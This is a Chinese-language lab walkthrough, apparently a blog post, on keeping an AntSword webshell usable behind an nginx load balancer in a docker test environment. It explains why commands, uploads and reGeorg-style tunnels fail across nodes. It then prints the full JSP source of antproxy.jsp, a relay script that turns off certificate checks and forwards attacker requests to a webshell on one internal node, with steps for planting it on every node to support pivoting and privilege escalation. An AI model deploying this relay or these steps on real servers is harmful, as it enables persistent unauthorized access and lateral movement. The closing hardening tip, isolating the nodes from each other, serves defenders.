1.环境介绍:
## JSP LoadBalance
### 架构如下
```
┌─────────────┐
│ │
┌──────► LBSNode 1 │
┌─────────┐ │ │ │
│ │ │ └─────────────┘
│ Nginx ├────────┤
│ │ │ ┌─────────────┐
└─────────┘ │ │ │
└──────► LBSNode 2 │
│ │
└─────────────┘
```
### 实验假定业务中存在RCE漏洞,上传了 WebShell 之后, 因为负载均衡的存在, 导致后续上传的工具、执行命令等操作出现不连续的情况。
演示环境中, LBSNode1 和 LBSNode2 均存在位置相同的 Shell: ant.jsp
1. 启动环境
```
$ docker-compose up -d
```Shell | 密码 | 编码器
:-:|:-:|:-:
`http://127.0.0.1:18080/ant.jsp` | `ant` | `default`无法直接连接内网中的两台 node, 只能通过 nginx LBS 去连接
![1.jpg](https://i.loli.net/2021/03/19/vJPXnZx1flAL3G6.jpg)
2. 打开 AntSword 添加 Shell
![2.jpg](https://i.loli.net/2021/03/19/KcgyjuTVOLNt1fo.jpg)
3. 尝试使用虚拟终端执行命令, 查看 IP
可以看到执行 ip addr 返回的IP并不是固定不变,意味着请求在两台 Node 之间跳
![3.jpg](https://i.loli.net/2021/03/19/tTBjqLuwFUpHXil.jpg)
4. 创建 antproxy.jsp 脚本
修改转发地址,转向某个 Node 的 内网的 WebShell 访问地址。图中将 target 指向了 LBSNode1 的 ant.jsp
![4.jpg](https://i.loli.net/2021/03/19/Qns5C387fezGTay.jpg)
> 注意不要使用上传功能,上传功能会分片上传,导致分散在不同 Node 上
注意要让每一台 Node 上都上传了 `antproxy.jsp`
5. 修改 Shell 配置, 将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变![5.jpg](https://i.loli.net/2021/03/19/cODduXS1E8q4BN7.jpg)
6. 测试执行命令, 查看 IP
可以看到 IP 已经固定, 意味着请求已经固定到了 LBSNode1 这台机器上了。
![6.jpg](https://i.loli.net/2021/03/19/uQEdoOXg9SrJ4wf.jpg)
查看一下 Node1 上面的 tomcat 的日志, 可以看到收束的过程
![7.jpg](https://i.loli.net/2021/03/19/MjFqOD1mIB4swyu.jpg)
### 其它事项
* LBSNode 内网之间必须要互通
### 加固建议
* LBSNode 之间禁止互通
简单来说,一台nginx两台tomcat,上文有写node1和node2.
负载均衡作为现今解决web应用承载大流量访问问题的一种方案,在真实环境中得到广泛的部署。实现负载均衡的方式有很多种,比如 DNS 方式、HTTP 重定向方式、IP 负载均衡方式、反向代理方式等等。
比如基于dns的负载均衡:
当然还有nginx的经典的基于反向代理实现的负载均衡。用户在通过单一IP地址访问服务器时,永远不会知道自己的处理服务器是那一台。
小科普:nginx常见的负载均衡方式有以下几种:
轮询 | 默认方式 |
---|---|
weight | 权重方式 |
ip_hash | 依据ip分配方式 |
least_conn | 最少连接方式 |
fair(第三方) | 响应时间方式 |
url_hash(第三方) | 依据URL分配方式 |
可以看到,支持的负载均衡模式很多。无论时什么样的负载均衡模式都可以以这样的规则进行划分,即是否可以确定地访问某一台固定的服务器。
为什么这样说呢,因为在渗透测试的过程中,有一个比较固定的思维就是所有的攻击都围绕着拿到webshell获取服务器权限而进行。不管是漏洞利用也好,暴力破解也罢。都是为了拿到webshell,提权,渗透内网。整体的流程就是这样,但是一旦遇到负载均衡隐藏掉后端真实服务器IP后,就会出现一大堆的问题无法解决。本文就是要理清楚这样一种环境下上传webshell的思路。
2.实际操作和面临的几个难点
总体来说面临着四个难点,webshell上传,命令执行,工具投放,内网渗透做隧道。下面我们用蚁剑作者提供的docker镜像来演示遇到的问题。
蚂蚁🗡作者搭建的环境GitHub上自行获取~
GitHub - AntSwordProject/AntSword-Labs: Awesome environment for antsword tests
[root@blackstone loadbalance-jsp]# pwd
/home/batman/AntSword-Labs-master/loadbalance/loadbalance-jsp
[root@blackstone loadbalance-jsp]# docker-compose up -d
两台tomocat,nginx的端口映射在kali的18080端口,访问本机lochost即可,宿主机需要访问kali的本机默认ens33网卡,两台tomocat在内网开放了8080端口,我们是没有办法直接访问的。
2.1面临的几个难点:
此时打开蚁剑我们尝试连接先前在node12上均插入了的webshell
有一个很重要的点,在负载均衡的状态下,下属的几台次级服务器的代码基本都是一致的,这会给用户非常好的一个体验,但是伴随而来的安全问题,漏洞也是一致的,如果想保证木马上传到每一台次级服务器上,那么你只需要做很多次相同的操作,最后肯定是可以确保木马上传成功的。
那么木马上传会遇到几个问题:
1.如何在每个节点服务器的相同位置上传shell?
如果目标主节点使用了轮询来做负载均衡,只上传了一个或者两个,但是第三个服务器你并没有上传成功,那么可能第二三次访问是会有一次失效,
是的,这就是你出现一会儿正常,一会儿错误的原因。如下:
1.1如何解决?
如果使用ip_hash或者用url_hash不会出现上述问题,使用轮询或者权重或者最小连接的情况下非常简单,只需要按照既定的上传方式多上传几次,肯定可以成功。这是几个难点里最好解决的一个
2.命令执行会灵车漂移(由于你无法确定使用何种算法来做负载均衡,会导致你不知道下次请求会发到哪)
我们执行 ip addr 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,就让你好好体验一波什么叫飘乎不定。
疯狂的飘,如何解决?
但这并不是什么巨大的难点,类似于上个难点,多传几次不其实也行》。。。。
3.投放大工具失败
我们本地的 111.png 大小是 2117006, 由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法,这可怎么办?
原作者的一张图:
如何解决?
找个小点的工具吧哥们
4.由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。
如果说前面三个难点还可以忍一忍,那第四个难点就直接劝退了。这还怎么深入内网?
regeorg和httpabs是隧道脚本的内网渗透工具,因为这玩意访问会一直跳,隧道会断掉,失灵咯
如何解决?
Plan A 关**掉其中一台机器** (作死)
是的,首先想到的第一个方案是关机/停服,只保留一台机器,因为健康检查机制的存在,很快其它的节点就会被 nginx 从池子里踢出去,那么妥妥的就能继续了。肯定会有做高可用的keep alive机制,前两点迎刃而解。
这个方案实在是「老寿星上吊——活腻了」,影响业务,还会造成灾难,直接 Pass 不考虑。(实验环境下,权限够的时候是可以测试可行性的)。
我的评价是:不太可能
Plan B 编辑脚本更改http访问目标:
没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.18.0.3)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。放一张三台机子的架构图:
左边是中国蚁🗡,中级nginx,上下两台tomcat。
我们先看黑色线,第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。
再来看红色线,第 2 步把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。
简单来说:node2 node1是可以通信的,也就是说,我们写入一个脚本判断流量的目的地址,不是node1的话将流量中转给node1的ant.jsp即可。如此一来就可以建立攻击者和node1的稳定连接了。
1.连接请求到达nginx进行负载均衡的转发,交由后端节点服务器处理
2.请求到达了节点1,访问到antproxy.jsp文件,将流量转发给172.23.0.2节点上的ant.jsp
3.请求到达节点2。访问节点2的antproxy.jsp文件,同样将流量转发给172.23.0.2节点上的ant.jsp文件。建立通信。
附上脚本:记得做address修改
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.net.ssl.*" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.DataInputStream" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.OutputStream" %> <%@ page import="java.net.HttpURLConnection" %> <%@ page import="java.net.URL" %> <%@ page import="java.security.KeyManagementException" %> <%@ page import="java.security.NoSuchAlgorithmException" %> <%@ page import="java.security.cert.CertificateException" %> <%@ page import="java.security.cert.X509Certificate" %> <%! public static void ignoreSsl() throws Exception { HostnameVerifier hv = new HostnameVerifier() { public boolean verify(String urlHostName, SSLSession session) { return true; } }; trustAllHttpsCertificates(); HttpsURLConnection.setDefaultHostnameVerifier(hv); } private static void trustAllHttpsCertificates() throws Exception { TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() { public X509Certificate[] getAcceptedIssuers() { return null; } @Override public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } @Override public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } } }; try { SSLContext sc = SSLContext.getInstance("TLS"); sc.init(null, trustAllCerts, new java.security.SecureRandom()); HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); } catch (KeyManagementException e) { e.printStackTrace(); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } } %> <% String target = "http://172.18.0.2:8080/tian.jsp"; URL url = new URL(target); if ("https".equalsIgnoreCase(url.getProtocol())) { ignoreSsl(); } HttpURLConnection conn = (HttpURLConnection)url.openConnection(); StringBuilder sb = new StringBuilder(); conn.setRequestMethod(request.getMethod()); conn.setConnectTimeout(30000); conn.setDoOutput(true); conn.setDoInput(true); conn.setInstanceFollowRedirects(false); conn.connect(); ByteArrayOutputStream baos=new ByteArrayOutputStream(); OutputStream out2 = conn.getOutputStream(); DataInputStream in=new DataInputStream(request.getInputStream()); byte[] buf = new byte[1024]; int len = 0; while ((len = in.read(buf)) != -1) { baos.write(buf, 0, len); } baos.flush(); baos.writeTo(out2); baos.close(); InputStream inputStream = conn.getInputStream(); OutputStream out3=response.getOutputStream(); int len2 = 0; while ((len2 = inputStream.read(buf)) != -1) { out3.write(buf, 0, len2); } out3.flush(); out3.close(); %>
4.2实际操作
讲修改好的脚本用中国蚁🗡新建一个文件,切记要新建文件,而不是上传,上传会分片传输,会乱掉。。。。记得多保存几次,你无法确定复杂均衡指次级节点的方向。
修改shell的配置
ok搞定,脚本速度可能有点满会出现这个情况,但是足以保证稳定的连接,足矣。
总得来说,如何上传webshell是问题的关键,但同样重要的是上传之后如何进行下一步的提权和数据提取等一系列操作。负载均很是最常见的服务器架构,用于缓存静态文件等等,我实在想不到什么企业不用这个。
之前我们上传webshell可以拆分为,上传木马文件,执行命令获取相关漏洞信息,工具投放以提升权限获取密码,部署穿透工具尝试攻击内网。按照这个思路复习,内网穿透横向移动等。按照这个思路复习上传木马后台有多台子节点服务器,出现漂移是肯定会有,那就多上传几次雨露均沾其实也行,第二个问题可以通过多上传几次判断ip,其实也有更好的解决办法。
第三和第四个问题已经开始让人难以接受了,想要解决就必须借助上传流量转发脚本来实现访问ip的固定,故而消除负载均衡带来的影响。但是流量转发脚本也有一个致命的问题,如果内网的次级负载均衡节点互相无法互通,那么脚本无效,只能说碰碰运气,在实际工程中还是建议阻隔内网各个服务器的通信保证安全!
目录
2.命令执行会灵车漂移(由于你无法确定使用何种算法来做负载均衡,会导致你不知道下次请求会发到哪)
4.由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。